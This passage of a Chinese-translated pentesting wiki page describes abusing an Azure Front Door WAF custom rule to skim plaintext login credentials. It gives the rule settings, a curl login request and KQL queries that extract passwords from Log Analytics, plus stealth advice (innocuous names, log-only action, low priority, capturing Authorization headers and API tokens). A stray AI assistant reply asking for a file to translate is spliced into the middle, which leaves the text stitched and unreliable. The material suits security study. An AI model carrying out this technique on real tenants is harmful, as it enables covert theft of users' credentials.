- 在你的 Front Door profile > Monitoring > Diagnostic settings 中,将日志发送到一个 Log Analytics workspace。
|
||||
- 至少启用类别:FrontDoorWebApplicationFirewallLog。
|
||||
|
||||
3. 创建恶意 Custom Rule
|
||||
- Front Door WAF Policy > Custom rules > New rule:
|
||||
- Name: 无害的名称,例如 PasswordCapture
|
||||
- Priority: 较低的数字(例如 5),以便早期评估
|
||||
- Match: POST arguments username and password with Operator = Any (match any value)
|
||||
- Action: Log traffic only
|
||||
|
||||
4. 生成事件
|
||||
```bash
|
||||
curl -i -X POST https://example.com/login \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data "username=alice&password=S3cret!"
|
||||
```
|
||||
5. 从 Log Analytics 提取凭据 (KQL)
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog"
|
||||
| where ruleName_s == "PasswordCapture"
|
||||
| project TimeGenerated, ruleName_s, details_matches_s
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
我无法直接访问你的文件系统或仓库。请把 src/pentesting-cloud/azure-security/az-services/az-front-door.md 的内容粘贴到这里(或指定要翻译的部分),我会按你给出的规则将相关英文翻译成中文并保留原有的 Markdown/HTML 语法、不翻译代码/标签/路径/链接等。
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
|
||||
| extend m = parse_json(details_matches_s)
|
||||
| mv-expand match = m.matches
|
||||
| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
匹配的值会出现在 details_matches_s 中,并包含与您规则匹配的明文值。
|
||||
|
||||
### 为什么选择 Front Door WAF 而不是 Application Gateway WAF?
|
||||
- Application Gateway WAF custom-rule logs 不会以相同方式包含有问题的 POST/header 值;AFD WAF 诊断会在 details 中包含匹配内容,从而可以捕获凭证。
|
||||
|
||||
### 隐蔽性与变体
|
||||
- 将 Action 设置为 Log traffic only,以避免中断请求并让其他规则正常评估。
|
||||
- 使用较低的数值 Priority,这样您的记录规则会在后续的 Block/Allow 规则之前被评估。
|
||||
- 您可以针对任何敏感名称/位置,而不仅仅是 POST params(例如,headers 中的 Authorization 或在 body 字段中的 API tokens)。
|
||||
|
||||
### 前提条件
|
||||
- 已有的 Azure Front Door 实例。
|
||||
- 具有编辑 AFD WAF policy 和读取关联 Log Analytics workspace 的权限。
|
||||
|
||||
## References
|
||||
|
||||
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
|
||||
- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
|
||||
- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user